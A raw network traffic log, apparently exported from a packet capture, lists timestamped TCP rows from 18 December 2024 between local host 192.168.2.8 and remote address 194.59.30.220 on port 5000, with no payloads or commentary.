Dec 18, 2024 11:56:22.204613924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.209276915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.209336996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.209395885 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.213274956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.213502884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.213541031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.334598064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.334758997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.334857941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.336102962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.336530924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.336579084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.339309931 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.339560986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.339628935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.343051910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.343727112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.343785048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.346649885 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.347489119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.347541094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.350522995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.350539923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.350593090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.353787899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.353801966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.353842020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.356542110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.356556892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.356610060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.359496117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.360498905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.360562086 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.363001108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.363018036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.363063097 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.366327047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.366681099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.366729975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.369752884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.369769096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.369811058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.373138905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.373152971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.373226881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.376504898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.376914024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.376972914 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.380058050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.380166054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.380218983 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.384092093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.384108067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.384171009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.387453079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.387880087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.387919903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.390610933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.390623093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.390665054 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.393748045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.393768072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.393843889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.397454977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.397775888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.397819042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.400305033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.400316000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.400367022 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.403809071 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.404084921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.404129982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.407507896 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.408241034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.408303022 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.410902023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.411336899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.411380053 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.413858891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.414382935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.414448977 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.417278051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.417361021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.417414904 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.524936914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.525120020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.525204897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.526460886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.527087927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.527133942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.527699947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.530145884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.530201912 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.530384064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.533159018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.533221006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.533828020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.536196947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.536251068 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.536699057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.539627075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.539639950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.539680004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.541907072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.541949987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.541954994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.544639111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.544701099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.545085907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.547421932 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.547470093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.547472954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.550175905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.550189972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.550220966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.552876949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.552922964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.552978039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.555636883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.555651903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.555685997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.558312893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.558356047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.558556080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.561023951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.561069965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.561109066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.563838959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.563851118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.563880920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.566553116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.566602945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.566632986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.569397926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.569446087 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.569458008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.572093010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.572148085 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.572185993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.574783087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.574840069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.574852943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.577456951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.577469110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.577519894 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.580411911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.580425024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.580466032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.582962036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.582974911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.583017111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.585700989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.585736036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.585752964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.588402033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.588449001 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.588999987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.591219902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.591270924 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.591324091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.593854904 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.593868017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.593907118 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.596554995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.596601963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.596679926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.599323988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.599379063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.599426031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.602082014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.602124929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.602264881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.604825020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.604867935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.604895115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.607546091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.607589006 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.607608080 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.610249043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.610291958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.611567020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.613080978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.613122940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.613209963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.615777969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.615820885 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.616235971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.618917942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.618964911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.619122982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.622140884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.622184992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.622661114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.624793053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.624838114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.624862909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.626744986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.626758099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.626796961 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.629404068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.629461050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.629511118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.632144928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.632199049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.632266045 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.634938002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.634954929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.634993076 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.637907982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.637958050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.637959003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.640434027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.640485048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.640647888 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.643460035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.643512964 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.644023895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.646665096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.646713018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.646720886 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.698487997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.716197968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.716375113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.716444016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.717318058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.717360020 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.717417955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.719482899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.720335007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.720350027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.720391989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.722826958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.722873926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.722882986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.725298882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.725349903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.725356102 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.727509022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.727560043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.727588892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.729552031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.729566097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.729603052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.731692076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.731759071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.731940985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.733845949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.733906031 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.733941078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.736017942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.736032963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.736078024 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.738101006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.738166094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.738323927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.740231037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.740245104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.740272999 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.742239952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.742255926 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.742285013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.744290113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.744303942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.744385958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.746253967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.746313095 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.746316910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.748277903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.748295069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.748326063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.750315905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.750332117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.750365973 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.752217054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.752233982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.752283096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.754103899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.754147053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.754153013 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.756040096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.756056070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.756089926 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.757879019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.757934093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.758342981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.759782076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.759839058 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.759900093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.761692047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.761708021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.761749029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.763478041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.763493061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.763534069 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.765304089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.765340090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.765361071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.767096996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.767124891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.767138004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.768886089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.768995047 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.769027948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.770719051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.770762920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.771189928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.772509098 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.772550106 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.773509026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.774260044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.774301052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.774327993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.776047945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.776060104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.776103020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.777806997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.777863026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.777888060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.779555082 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.779606104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.780076981 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.781390905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.781439066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.781727076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.783185959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.783231974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.783385992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.784909964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.784946918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.785048962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.786736965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.786780119 CET	49706	5000	192.168.2.8	194.59.30.220
